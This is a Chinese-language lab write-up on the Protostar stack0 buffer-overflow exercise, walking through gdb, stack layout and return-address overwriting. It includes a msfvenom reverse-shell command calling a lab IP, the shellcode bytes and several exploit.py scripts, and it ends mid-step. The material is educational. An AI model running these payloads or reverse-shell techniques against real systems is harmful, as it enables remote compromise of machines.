1.http://blog.chinaunix.net/uid-1848701-id-2825699.html
2.eip是當前幀中還沒開始執行,下一步要執行的匯編指令的地址
3.32位系統中,一個棧單元為32位
#!bash
esp+0x4代表下一個棧單元
esp+0x1c代表esp下面第[16+12=28(/4=7)] 7個棧單元
eg.
esp[ss:0x00000000] |ab221245| --> 一個棧單元
esp+0x4[ss:0x00000004] |2348sko9| --> 一個棧單元
4.call addr===>push eip + jmp addr
執行call addr時,由于call addr已經執行,所以call addr=push eip+jmp addr中的eip為call addr匯編指令當前所在幀中的下一條指令的地址,這里說的當前所在幀是如下圖frame所示在當前圖片看到的一片匯編指令代碼,如執行0xff77b8d02處的call 0xf77bc2e0時,eip為當前幀的下一條指令的地址為f77b8d07
5.leave===>mov esp,ebp + pop ebp
6.ret===>pop eip + jmp eip
1.gdb常用調試命令
2.提煉命令:
#!bash
--------terminal-----------
gdb
help
help data
help stack
help status
-----------end-------------
gdb stack0 #===>gdb + file stack0
l(list) #show source
b 7(break 7) #add break on line7
b 8(break 8) #add break on line8
b 11
b 13
b 15
info b(info break)
info registers #show registers
r(run)
disas /m
/r #show hex(顯示匯編指令對應十六進制值)
/m #show source if available(如果有源碼,顯示對應行源碼)
set disassembly-flavor att/intel #設置att或intel格式
set disassemble-next-line #設置下一步是否顯示匯編碼
si(setpi) #==> step into,like f7 in od
ni(nexti) #==> like f8 in od
leave #立即中斷當前函數運行并返回,當前函數的剩余語句將不被執行
finish #執行到當前函數返回之后停止,當前函數的剩余語句將正常運行
bt(backtrace) #查看所有棧幀信息
f num(frame num) #選擇并打印第num個棧幀信息
info f(info frame) #查看當前棧幀信息
link:https://exploit-exercises.com/protostar/stack0/
源碼如下:
#!cpp
--------stack0.c----------
1 #include <stdlib.h>
2 #include <unistd.h>
3 #include <stdio.h>
4
5 int main(int argc, char **argv)
6 {
7 volatile int modified;
8 char buffer[64];
9
10 modified = 0;
11 gets(buffer);
12
13 if(modified != 0) {
14 printf("you have changed the 'modified' variable\n");
15 } else {
16 printf("Try again?\n");
17 }
18 }
-----------end------------
該題要求溢出變量modified,也即覆蓋棧中的modified所在的內在地址里的值,在終端中執行如下命令,下面為實時操作與對輸出的相應理解
on kali:
#!bash
cd /root/桌面
vi stack0.c with upon source code
gcc -g -o stack0 stack0.c
gdb stack0
l
----------output:----------
1 #include <stdlib.h>
2 #include <unistd.h>
3 #include <stdio.h>
4
5 int main(int argc, char **argv)
6 {
7 volatile int modified;
8 char buffer[64];
9
10 modified = 0;kjkkkk
-----------end----------
l
----------output:----------
11 gets(buffer);
12
13 if(modified != 0) {
14 printf("you have changed the 'modified' variable\n");
15 } else {
16 printf("Try again?\n");
17 }
18 }
-----------end----------
b 7
b 8
b 11
b 13
b 15
info b
---------output:-----------
Num Type Disp Enb Address What
1 breakpoint keep y 0x080483fd in main at stack0.c:7
breakpoint already hit 1 time
2 breakpoint keep y 0x080483fd in main at stack0.c:8
breakpoint already hit 1 time
3 breakpoint keep y 0x08048405 in main at stack0.c:11
breakpoint already hit 1 time
4 breakpoint keep y 0x08048411 in main at stack0.c:13
5 breakpoint keep y 0x08048427 in main at stack0.c:15
----------end--------------
r
disas /m
-------------output:---------------
7 volatile int modified;
8 char buffer[64];
9
10 modified = 0;
=> 0x080483fd <+9>: movl $0x0,0x5c(%esp)
---------------end-----------------
通過上面的結果發現中斷在line10,而其中line7,lin8中的兩個定義變量的語句volatile int modified和char buffer[64]并沒有中斷效果
main函數對應匯編代碼從line6開始:
#!bash
---------------------------------匯編跟蹤:line6------------------------------------------
Dump of assembler code for function main:
6 {
0x080483f4 <+0>: push %ebp #ebp壓棧,對應下圖stack0中的序號1
0x080483f5 <+1>: mov %esp,%ebp #ebp=esp,對應下圖stack0中的序號2
0x080483f7 <+3>: and $0xfffffff0,%esp #將esp最后四位置0,應該是一種安全措施,獲得更大的棧空間,對應序號3
0x080483fa <+6>: sub $0x60,%esp #擴大棧空間,0x60=96=(/4=24)24個棧單元,對應序號4
---------------------------------------end-----------------------------------------------
line7,lin8代碼:
------------line7,8---------------
7 volatile int modified;
8 char buffer[64];
--------------end-----------------
這兩行代碼由于無法在gdb中跟蹤,暫時無法確定在棧中的分布情況
下文將會得出(此時可以先不看這個secret):
進入main函數前的上一幀中,有一個調用main函數的動作,為了調用main函數,有這幾個動作:
在進入main函數,main初始化后(push ebp,ebp=esp,esp=esp-0x60),聲明變量的line7:volatile int modified,char buffer[64]的對應匯編效果是:從上一句esp=esp-0x60中的esp為擴展0x60的棧空間大小之前的esp開始依次“壓入”接下來聲明的各個變量,也即:
一般棧中從下到上數據依次為函數從右到左的參數、調用該函數的上一幀中"call 該函數"形式的對應匯編指令的下一句匯編指令的地址
只要修改了0xffffd4ec處(存放了modified變量)的值,將其改成非0就可以完成這一題的要求了
上面3中說的非0是內存中的非0,如果是鍵盤上的0鍵并不是內存中的0,如下圖ascii所示
#!bash
line10:(line9是空格行)
-----------------匯編跟蹤:line10----------------------
10 modified = 0;
=> 0x080483fd <+9>: movl $0x0,0x5c(%esp) #0x5c=92(/4=23)=23個棧單元,將esp下面第23個棧單元置0,對應圖中序號5,在下一步可可發現是將0xffffd4ec處的32位空間置0
----------------------end-----------------------------
x $esp+0x5c
----------output:------------
0xffffd4ec: 0xf7fa6000
------------end--------------
再執行stepi后會執行[esp+0x5c]=0,將上面的地址對應內容置0
#!bash
line11:
-----------------匯編跟蹤:line11-----------------------
11 gets(buffer);
0x08048405 <+17>: lea 0x1c(%esp),%eax #eax=esp+0x1c,0x1c=28(/4=7)=7個棧單元,對應圖中序號6
0x08048409 <+21>: mov %eax,(%esp) #[esp]=eax,對應圖中序號7,為了下面的call gets作準備-->將func gets的參數“入棧”(放到對應的位置,不是push arg,沒有esp=esp-4)
0x0804840c <+24>: call 0x804830c <[email protected]> #上面一行[esp]=eax=addr,將buffer[64]的起始地址放入棧中準備給gets函數調用
-----------------------end-----------------------------
stepi(0xffffd4ec被置0)
x $esp+0x5c
-----------output:-----------
0xffffd4ec: 0x00000000
-------------end-------------
disas /m
------------out:-----------
11 gets(buffer);
=> 0x08048405 <+17>: lea 0x1c(%esp),%eax #這行左邊的箭頭表示運行到這行,也即eip=0x08048405,此時x $esp+0x5c ===> 0xffffd4ec: 0x00000000
0x08048409 <+21>: mov %eax,(%esp) #此外,lea 0x1c(%esp),%eax(in att mode)<==>lea eax,[esp+0x1c](in intel mode)
0x0804840c <+24>: call 0x804830c <[email protected]>
-------------end-----------
set disassembly-flavor intel(upon output is the result of "set dissassembly-flavor att" on default)
---------------output:---------------
11 gets(buffer);
=> 0x08048405 <+17>: lea eax,[esp+0x1c]
0x08048409 <+21>: mov DWORD PTR [esp],eax
0x0804840c <+24>: call 0x804830c <[email protected]>
------------------end----------------
pay attention to eip part:(symbol "=>" means eip is here)
---------eip part----------
11 gets(buffer);
=> 0x08048405 <+17>: lea eax,[esp+0x1c] #將esp+0x1c的值賦給eax,eax=0xffffd4ac
0x08048409 <+21>: mov DWORD PTR [esp],eax
0x0804840c <+24>: call 0x804830c <[email protected]> #push 0x08048411,jmp func gets,對應圖中序號8
------------end------------
p $esp+0x1c #print $esp+0x1c,打印$esp+0x1c變量的值
output:$2 = (void *) 0xffffd4ac
x $esp+0x1c #x addr==>print [addr],that is to say,print the value in the address of addr
---------output:(==>x $eax)----
0xffffd4ac: 0xf7e2e243
-----------end-----------------
si
si
disas /m
---------output:------------
11 gets(buffer);
0x08048405 <+17>: lea eax,[esp+0x1c]
0x08048409 <+21>: mov DWORD PTR [esp],eax
=> 0x0804840c <+24>: call 0x804830c <[email protected]>
----------end---------------
x $eax
-------output:------------
0xffffd4ac: 0xf7e2e243
------------end-----------
x/4 $esp #查看當前棧中esp起4個棧單元的情況
---------output:------------
0xffffd490: 0xffffd4ac 0x00000000 0x000000c2 0xf7e92ee6
-------------end------------
其中的0xffffd4ac對應圖中的序號6中數值
#!bash
n
輸入:
12345678981234567898123456789812345678981234567898123456789812340000
enter
其中最后的12340000為第60到68個字符
-----------output:--------------
Breakpoint 4, main (argc=1, argv=0xffffd594) at stack0.c:13
13 if(modified != 0) {
--------------end---------------
si
disas /m
---------output:------------
13 if(modified != 0) {
0x08048411 <+29>: mov eax,DWORD PTR [esp+0x5c]
=> 0x08048415 <+33>: test eax,eax
-------------end------------
p $eax
-----------output:------------
$4 = 808464432
------------end---------------
p/x $eax(以十六進制顯示eax的值,help x(x $esp+0x1c相當于p [$esp+0x1c]的效果,只不過p不支持p [somethin]命令顯示內存地址對應的內容)中的/FMT可以看到支持的各種顯示格式)
------------output:-------------
$5 = 0x30303030
---------------end--------------
這里的0x30303030是上面輸入的68個鍵盤上的數字中的最后4個0對應的內存中的值,鍵盤上的數字0對應的真實內存ascii值為48(十進制),也即十六進制0x30,更多關于ascii的理解可參考:
https://forum.90sec.org/forum.php?mod=viewthread&tid=9217
所以要輸入第65到68個字符單元為內存中的0,也即ascii值為nul的字符:
#!bash
print '\x00'(或python -c 'print "\x00"')
output:空
print '0'(或python -c 'python "0"')
output:0
print '\x30'(或python -c 'python "\x30"')
output:0
所以print '\x00'在內存中的數據為0,print '0'<==>print '\x30'
重新運行./stack0并輸入下面的值可使modified在內存中的值不變,依然為內存中的0
1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00
注意,如果直接在鍵盤上輸入上面這一長串,最后的\x00\x00\x00\x00在內存中并不能被解析成內存中的0000,要使用如下方法:
#!bash
print '1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00' | ./stack0
#或
echo '1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00' | ./stack0
原題中要求改變modified位,直接輸入鍵盤上的任意大于64位的一串字符即可,因為鍵盤上的數字0在內存中是0x30,如果將鍵盤上的0鍵輸入到對應的modified位上,會改變modified
該題要求溢出變量modified,也即覆蓋棧中的modified所在的內在地址里的值,這里進行擴展,通過棧溢出反彈shell.
該題中ASLR(地址隨機化) 和 NX(棧不可執行)已禁用
由上圖stack0及分析易知:
計算需要輸入多少字符可以覆蓋main_ret:
#!bash
r
Start it from the beginning? (y or n)
y
info b
-------------output:-------------
Num Type Disp Enb Address What
1 breakpoint keep y 0x080483fd in main at stack0.c:7
breakpoint already hit 1 time
2 breakpoint keep y 0x080483fd in main at stack0.c:8
breakpoint already hit 1 time
3 breakpoint keep y 0x08048405 in main at stack0.c:11
4 breakpoint keep y 0x08048411 in main at stack0.c:13
5 breakpoint keep y 0x08048427 in main at stack0.c:15
---------------end---------------
disas /m
----------------output:--------------------
Dump of assembler code for function main:
6 {
0x080483f4 <+0>: push ebp
0x080483f5 <+1>: mov ebp,esp
0x080483f7 <+3>: and esp,0xfffffff0
0x080483fa <+6>: sub esp,0x60
7 volatile int modified;
8 char buffer[64];
9
10 modified = 0;
=> 0x080483fd <+9>: mov DWORD PTR [esp+0x5c],0x0
-----------------end-----------------------
b *0x080483f5
r
Start it from the beginning? (y or n)
y
-------------------output:-------------------
Starting program: /root/桌面/stack0
Breakpoint 6, 0x080483f5 in main (argc=1, argv=0xffffd594) at stack0.c:6
6 {
---------------------end---------------------
disas /m
-----------------output:-------------------
Dump of assembler code for function main:
6 {
0x080483f4 <+0>: push ebp
=> 0x080483f5 <+1>: mov ebp,esp
0x080483f7 <+3>: and esp,0xfffffff0
-------------------end---------------------
p $esp
-------------output:-----------------
$7 = (void *) 0xffffd4f8
---------------end-------------------
也即執行完0x080483f4后esp值為0xffffd4f8,所以要覆蓋main_ret,需要輸入(0xffffd4f8-0xffffd4ec)/4+16+1+1=21個棧單元=21*4=84B,也即84個字符
main_ret=0xffffd4f8+0x4=0xffffd4fc
#!bash
python -c "print 'a'*80+'bbbb'" | ./stack0 #(此時不可直接print 'a'*80,print不支持)
------------output:------------
you have changed the 'modified' variable
[1] 11055 done python -c 'print "a"*80+"bbbb"' |
11056 segmentation fault ./stack0
-------------end---------------
gdb -q -c core
--------output:----------
/root/桌面/core: 沒有那個文件或目錄.
----------end------------
解決方法:http://blog.csdn.net/nuoline/article/details/8610694
#!bash
ulimit -c
---------output:----------
0
------------end-----------
ulimit -c 2048
python -c 'print "a"*80+"bbbb"' | ./stack0
------------output:--------------
you have changed the 'modified' variable
[1] 11403 done python -c 'print "a"*80+"bbbb"' |
11404 segmentation fault (core dumped) ./stack0
--------------end----------------
gdb -q -c core
----------------output:---------------
[New LWP 11404]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x62626262 in ?? ()
-----------------end------------------
從而發現某個函數(main函數)的返回地址被改寫成0x62626262(bbbb),從而產生溢出錯誤
或者:
#!bash
gdb ./stack0
b 18
si
si
此時程序將執行到達main函數幀中的ret,再si將跳轉到main_ret處,可通過以下驗證
#!bash
-------------output:--------------
15 } else {
16 printf("Try again?\n");
0x08048427 <+51>: movl $0x8048529,(%esp)
0x0804842e <+58>: call 0x804832c <[email protected]>
17 }
18 }
0x08048433 <+63>: leave
---Type <return> to continue, or q <return> to quit---
=> 0x08048434 <+64>: ret
End of assembler dump.
(gdb) si
0x62626262 in ?? ()
--------------end-----------------
同樣可以發現main_ret被溢出為0x62626262(bbbb)
檢驗一下:
#!bash
python -c 'print "a"*80+"bbcc"' | ./stack0
------------------output:--------------------
[New LWP 11928]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x63636262 in ?? ()
---------------------end---------------------
最后的"bbcc"由于在內存中依次由上到下存放在棧空間中(在一個棧單元中可放下4個字符,在一個棧單元中從左到右存放),而棧中由上到下或一個棧單元中的從左到右都是由內存低地址到內存高地址排列,所以bbcc(0x62626363)被翻譯成eip=0x63636262
為了溢出反彈一個shell,用msf生成shellcode,并構造成如下輸入鏈來觸發shellcode的執行
"a"*80+addr(jmp esp)+shellcode
其中shellcode代碼由msf生成,輸出為py版本,反彈ip設為kali的ip:192.168.3.106,port為1111
#!bash
2004 ~ ? msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.3.106 LPORT=1111 -e x86/shikata_ga_nai -b "\x00" --platform linux -f py
-------------------------output:-----------------------
No Arch selected, selecting Arch: x86_64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
buf = ""
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"
-------------------------end--------------------------
其中jmp esp的地址由msfelfscan找出,win下為msfpescan
msfelfscan -j esp /root/桌面/stack0
結果發現由于stack0的代碼比較簡單,里面沒有jmp esp的指令,于是通過info shared來找出stack0中調用系統函數時用到的so文件,然后從so文件里找出jmp esp的地址,如下:
#!bash
info shared
------------output:----------------
From To Syms Read Shared Object Library
0xf7fdd860 0xf7ff50fc Yes (*) /lib/ld-linux.so.2 #0xf7fdd860為該動態鏈接庫的內存加載基址
No linux-gate.so.1
0xf7e14420 0xf7f44c0e Yes (*) /lib/i386-linux-gnu/i686/cmov/libc.so.6
(*): Shared library is missing debugging information.
--------------end------------------
然后執行msfelfscan -j esp /lib/ld-linux.so.2
#!bash
----------output:-------------
[/lib/ld-linux.so.2]
0x0001813b jmp esp
0x0001bfe7 jmp esp
0x0001c24f jmp esp
------------end---------------
找到一個jmp esp地址為:0x0001813b,但是這只是偏移量
真正的地址為:0xf7fdd860+0x0001813b=0xf7ff599b
于是輸入鏈為:
"a"*80+'\x9b\x59\xff\xf7'+shellcode
用python代碼實現exploit.py:
#!bash
------------exploit.py----------------
import os
import sys
buf = ""
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"
jmp_esp="\x9b\x59\xff\xf7"
#print jmp_esp
input="a"*80+jmp_esp+buf
#print input
os.system("echo '%s' | ./stack0" % input)
---------------end--------------------
發現上面算出來的jmp_esp='\x9b\x59\xff\xf7'無法跳轉到esp,可能是我的這種理解錯了
換工具,rop-tool
先安裝上面鏈接中說的capstone
然后下載rop-tool
#!bash
chmod +x rop-tool-Linux-x86_64
mv rop-tool-Linux-x86_64 /usr/bin/rop
rop gadget ./stack0(或者rop gadget -a ./stack0)
------------------output:--------------------
Looking gadgets, please wait...
0x080482e5 -> add dword ptr [eax], eax; add byte ptr [eax + 0x5b], bl; leave ; ret ;
0x080482ca -> ret ;
0x08048440 -> push ebp; mov ebp, esp; pop ebp; ret ;
0x080483ef -> call eax; leave ; ret ;
0x080482e9 -> pop ebx; leave ; ret ;
0x080484a7 -> pop edi; pop ebp; ret ; mov ebx, dword ptr [esp]; ret ;
0x080482c5 -> add byte ptr [eax], al; add byte ptr [ebx - 0x7f], bl; ret ;
0x080484a7 -> pop edi; pop ebp; ret ;
0x080484f4 -> pop ecx; pop ebx; leave ; ret ;
0x080483b9 -> add eax, 0x8049644; add dword ptr [ebx + 0x5d5b04c4], eax; ret ;
0x080484a8 -> pop ebp; ret ; mov ebx, dword ptr [esp]; ret ;
0x080483ef -> call eax;
0x080484a5 -> pop ebx; pop esi; pop edi; pop ebp; ret ;
0x080482ea -> leave ; ret ;
0x080483c3 -> pop ebp; ret ;
0x080483c2 -> pop ebx; pop ebp; ret ;
0x080482e6 -> add byte ptr [eax], al; pop eax; pop ebx; leave ; ret ;
0x080482e7 -> add byte ptr [eax + 0x5b], bl; leave ; ret ;
0x080482e8 -> pop eax; pop ebx; leave ; ret ;
0x080484aa -> mov ebx, dword ptr [esp]; ret ;
0x080482c7 -> add byte ptr [ebx - 0x7f], bl; ret ;
0x080484a9 -> ret ; mov ebx, dword ptr [esp]; ret ;
0x080483be -> add dword ptr [ebx + 0x5d5b04c4], eax; ret ;
0x08048432 -> dec ecx; ret ;
0x08048441 -> mov ebp, esp; pop ebp; ret ;
0x080484a6 -> pop esi; pop edi; pop ebp; ret ;
---------------------end---------------------
里面沒有找到jmp esp,不理解為什么不搜索系統加載到內存的動態鏈接庫so文件里的jmp esp,暫且不管這個問題
沒有找到jmp esp,rop gadget這個功能主要是搜索用來獲得ret2libc構造鏈中的子語句的功能,特點是每個gadget都是以ret結尾的一條或幾條匯編小指令
換工具edb-debugger,kali自帶,將stack0拖入edb,快捷鍵ctrl+o,或者從plugins選項中選擇opcodesearcher工具(里面也有roptool,功能類似上面的rop-tool工具的功能,edb-debugger中的toptool功能可以看到系統內存已經加載的動態鏈接庫列表,而上面freebuf中提到的rop-tool不能)
搜到jmp esp地址如下(由于本機kali為64位,所以顯示成下圖中樣式,取其中32位的地址即可)
取其中的0xf773813b,替換exploit.py中jmp_esp="\x3b\x81\x73\xf7",上圖中選擇的/lib/i386-linux-gnu/ld-2.19.so應該是隨著操作系統啟動加載到系統內存中的可用動態鏈接庫文件
運行exploit.py,結果依然不行,這個jmp_esp還是沒有被執行,可能是沒有找到這個地址,不理解,暫且不管這個問題
#!bash
python exploit.py
----------------outpout:------------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?A>4P???do<$3?1U?da??N>????SF
91!z?ik\Dz??5?
you have changed the 'modified' variable
Segmentation fault (core dumped)
┌─[[email protected]] - [~/桌面] - [Mon Jun 06, 07:53]
└─[$] <> gdb -q -c core
[New LWP 7435]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xf773813b in ?? ()
(gdb) disas 0xf773813b
No function contains specified address.
-----------------end----------------------
無法有效利用jmp esp的方法,直接在main_ret位置上填充緊跟其后的shellcode的開始的地址,也即address(main_ret位置在內存中的地址0xffffd4fc)+0x4的結果:
shellcode_addr=0xffffd500
由于有00,在調用gets時系統復制從終端輸入的超長字符串會提前停止,所以不能取0xffffd500,取成0xffffd501,在原來shellcode前面加一個nop(\x90),重新構造輸入鏈:
"a"*80+"\x01\xd5\ff\xff"+"\x90"+shellcode
將exploit.py中jmp_esp替換為jmp_esp="\x01\xd5\xff\xff",并在shellcode前面加一個"\x90",新的exploit.py如下:
#!bash
------------------------exploit.py-------------------------------
#/usr/bin/python
import os
import sys
buf = "\x90"
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"
jmp_esp="\x01\xd5\xff\xff"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
----------------------------end----------------------------------
結果依然失敗
#!bash
-----------------output:---------------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa???1o<$3?1U?da??N>?????A>4P???d
91!z?ik\Dz??5?
you have changed the 'modified' variable
Segmentation fault (core dumped)
┌─[[email protected]] - [~/桌面] - [Mon Jun 06, 08:33]
└─[$] <> gdb -q -c core
[New LWP 32688]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xffffd501 in ?? ()
------------------end------------------------
重新運行./stack0,手工輸入:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb
其中1234對應為main_ret位置,bbbb為原來的shellcode位置
產生core文件后
#!bash
gdb -q -c core
--------output:---------
[New LWP 25058]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x34333231 in ?? ()
---------end------------
x/4 $esp
------output:---------
0xff85ffc0: 0x62626262 0xff860000 0xff86005c 0xf77e679a
-------end------------
x/4 $esp-4
------output:---------
0xff85ffbc: 0x34333231 0x62626262 0xff860000 0xff86005c
--------end-----------
易知從這里(core)看到的shellcode開始的位置應該從0xff85ffc0開始(上面exploit.py中不在shellcode前加nop時使用的地址是0xffffd500)
而0xff85ffc0中沒有\x00不影響直接執行shellcode,不加nop,構造成如下輸入鏈:
"a"*80+"\xc0\xff\x85\xff"+shellcode
在exploit.py中具體如下:
#!bash
-----------------exploit.py-------------------
#/usr/bin/python
import os
import sys
buf = ""
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"
jmp_esp="\xc0\xff\x85\xff"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
-------------------end0-----------------------
python exploit.py
-----------output:--------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?????1o?A>4P???d??N>????SF
91!z?ik\Dz??5?
you have changed the 'modified' variable
Segmentation fault (core dumped)
------------end-----------------
gdb -q -c core
-------------output:---------------
[New LWP 2220]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xff85ffc0 in ?? ()
---------------end-----------------
依然在新的0xff85ffc0無法執行
#!bash
x/40x $esp-4
----------output:------------
0xffe11e0c: 0xff85ffc0 0x3c6f31ba 0xd9cad905 0x5df42474
----------end----------------
可以看到此時應該將0xff85ffc0改成0xffe11e0c+0x4=0xffe11e10才會執行后面的shellcode(內容從0x3c6f31ba開始)
說明shellcode每次在內存中的位置都是變化的
后來又發現下面三種方法特點不同:
方法1:
#!bash
gdb ./stack0
人工輸入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb
每次shellcode的位置(bbbb處)在內存中的地址都是0xffffd500
方法2:
#!bash
./stack0
人工輸入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb
gdb -q -c core
從core文件中發現每次shellcode的位置(bbbb處)在內存中的地址都是變化的
方法3:
#!bash
vi exploit.py
------------exploit.py--------------
#/usr/bin/python
import os
import sys
buf = ""
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"
jmp_esp="some addr"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
---------------end------------------
gdb -q -c core
從core文件中分析出的shellcode的位置(\xba\x31\x6f\x3c開始)都是變化的
通過這三種不同情況得出結論:
gdb ./stack0
來看shellcode的內存地址,要通過gdb -q -c core
來分析出系統運行./stack0
時的真實情況,方法2和3都可行gdb ./stack0
時,可能是系統判斷有人在調度,所以故意讓shellcode的內存地址每次都不變,用來干擾判斷突然想到,在edb-debugger工具中找到的jmp esp的地址放入exploit.py中的jmp_esp中最后沒有成功有可能是因為kali的安全防護功能,其中的系統內存中加載的/lib/i386-linux-gnu/ld-2.19.so有安全設置
下載checksec.sh檢查一下:http://www.trapkit.de/tools/checksec.sh
#!bash
chmod +x ./checksec.sh
./checksec.sh --file /lib/i386-linux-gnu/ld-2.19.so
-------------output:----------------
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled DSO No RPATH No RUNPATH /lib/i386-linux-gnu/ld-2.19.so
---------------end------------------
其中的NX enabled可以看出的確是這個原因
檢查下./stack0:
發現也是NX enabled,這個stack0應該是我在kali上用gcc -g -o stack0 stack0.c編譯出來的,默認有安全防護
復制原系統protostar中的/opt/protostar/bin/stack0到kali中
#!bash
scp user:192.168.2.144:/opt/protostar/bin/stack0 /root/桌面
./checksec.sh --file stack0
-----------output:-----------
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH stack0
-------------end-------------
這個才是原題protostar系統中的stack0,但是原系統中(protostar)溢出時無法產生core文件,無法分析執行時的shellcode和main_ret地址
無法產生core文件應該是由于protostar默認的user用戶的權限對suid=root的/opt/protostar/bin/stack0文件權限不足以在發生溢出時產生core文件
解決方法:
cp /opt/protostar/bin/stack0 /tmp
這樣/tmp/stack0就是user用戶的文件了,溢出時可以正常產生core文件,但是沒有原來/opt/protostar/bin/stack0的suid=root屬性
開始一直是通過ssh [email protected]
到protostar系統進行遠程操作的,后來發現ssh登錄時和直接在protostar系統中操作時不同,這兩種情況下運行:python exploit.py 在內存中分配的地址不同
ssh [email protected]
時shellcode的內存地址為0xbffff790
直接在protostar虛擬機中操作時shellcode的內存地址為0xbffff880
后來以改為直接在protostar系統中操作,將jmp_esp的值改為"\x80\xf8\xff\xbf"
重新由下面語句生成shellcode,由原來的x64改成x86,LPORT改成2222(kali為64位系統,protostar為32位系統)
#!bash
